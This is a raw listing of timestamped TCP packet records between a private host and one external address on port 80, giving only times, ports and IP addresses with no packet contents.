Dec 23, 2024 08:39:40.937278032 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937298059 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937304974 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937330008 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937482119 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937500000 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937534094 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937541008 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937556028 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937582016 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937598944 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937601089 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937624931 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937638044 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937657118 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937675953 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937681913 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937694073 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937710047 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.937738895 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.937763929 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.938374043 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938401937 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938417912 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938436985 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938462019 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.938488960 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.938545942 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938563108 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938576937 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938602924 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.938709974 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.938786030 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.939275980 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.939292908 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.939310074 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.939344883 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.939362049 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.939368010 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.939409018 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.939589024 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.939604044 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.940277100 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.941375971 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.941430092 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.941523075 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.945373058 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.945436954 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.945739031 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.949311018 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.949404001 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.949472904 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.953353882 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.953372002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.953409910 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.957159042 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.957211971 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.957267046 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.961132050 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.961183071 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.961292982 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.976953030 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.977020979 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.977097988 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.978986979 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:40.979041100 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:40.979156017 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.057848930 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.057917118 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.058027029 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.059175014 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.059221029 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.059303999 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.063143015 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.063159943 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.063215971 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.067081928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.067234039 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.067282915 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.071120977 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.071171999 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.071234941 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.074994087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.075041056 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.075074911 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.078917980 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.078977108 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.079039097 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.082833052 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.082953930 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.082967043 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.086719036 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.086775064 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.086815119 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.090549946 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.090616941 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.090643883 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.094336033 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.094466925 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.094666004 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.098170042 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.098189116 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.098227978 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.101902962 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.101994991 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.102015018 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.105756044 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.105892897 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.105994940 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.109632015 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.109651089 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.109718084 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.115587950 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.115650892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.115689039 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.117438078 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.117492914 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.117513895 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.120212078 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.120286942 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.120318890 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.124080896 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.124207020 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.124274969 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.127736092 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.127867937 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.127906084 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.131619930 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.131681919 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.131746054 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.135323048 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.135390997 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.135396004 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.139096975 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.139251947 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.139302969 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.142931938 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.142957926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.142991066 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.146652937 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.146733046 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.146752119 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.150441885 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.150547981 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.150547981 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.154292107 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.154342890 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.154352903 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.158010960 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.158087969 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.158091068 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.161825895 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.161886930 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.161892891 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.165646076 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.165661097 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.165714025 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.169414043 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.169470072 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.169476986 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.173233986 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.173254013 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.173280001 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.176894903 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.176964045 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.177025080 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.180699110 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.180836916 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.180887938 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.184461117 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.184519053 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.184650898 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.188324928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.188373089 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.188488007 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.192097902 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.192162991 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.192186117 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.195797920 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.195848942 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.195899010 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.199630976 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.199707031 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.199709892 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.203299046 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.203353882 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.203366041 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.207037926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.207093000 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.207118034 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.210860968 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.210880041 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.210918903 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.214500904 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.214551926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.214553118 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.218338013 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.218352079 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.218389034 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.221929073 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.222023964 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.222048998 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.225569010 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.225642920 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.225694895 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.228996992 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.229051113 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.229083061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.232425928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.232481956 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.232537031 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.235269070 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.235353947 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.235371113 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.238284111 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.238323927 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.238373041 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.241241932 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.241285086 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.241352081 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.244230986 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.244277000 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.244282007 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.247072935 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.247134924 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.247165918 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.249819994 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.249862909 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.249917984 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.252471924 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.252509117 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.252527952 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.254992008 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.255060911 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.329308987 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.329330921 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.329422951 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.329895973 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.330073118 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.330125093 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.331172943 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.331438065 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.331476927 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.332504988 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.332608938 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.332709074 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.333766937 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.333904028 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.333981037 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.335086107 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.335196972 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.335275888 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.336406946 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.336589098 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.336628914 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.337709904 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.337783098 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.337951899 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.339039087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.339168072 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.339227915 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.340367079 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.340418100 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.340468884 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.341649055 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.341809034 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.341856956 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.342988014 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.343097925 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.343152046 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.344285965 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.344378948 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.344419003 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.345580101 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.345693111 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.345736980 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.347050905 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.347073078 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.347754002 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.348203897 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.348321915 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.348419905 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.349497080 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.349596024 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.349643946 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.350804090 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.350887060 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.350933075 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.352078915 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.352190971 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.353024006 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.353379965 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.353487015 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.353537083 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.354690075 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.354724884 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.354785919 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.355943918 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.356049061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.356096983 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.357278109 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.357352018 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.357392073 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.358519077 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.358614922 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.358738899 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.359826088 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.359875917 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.359937906 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.361087084 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.361185074 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.361224890 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.362369061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.362559080 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.362607002 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.363184929 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.363702059 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.363759995 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.363800049 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.364928961 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.365020037 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.365060091 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.366179943 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.366272926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.366317987 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.367461920 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.367528915 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.367577076 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.368700027 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.368968964 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.369720936 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.369935989 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.370105028 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.370151043 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.371270895 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.371376038 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.371416092 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.372574091 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.372647047 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.372685909 CET	49783	80	192.168.2.6	139.99.188.124
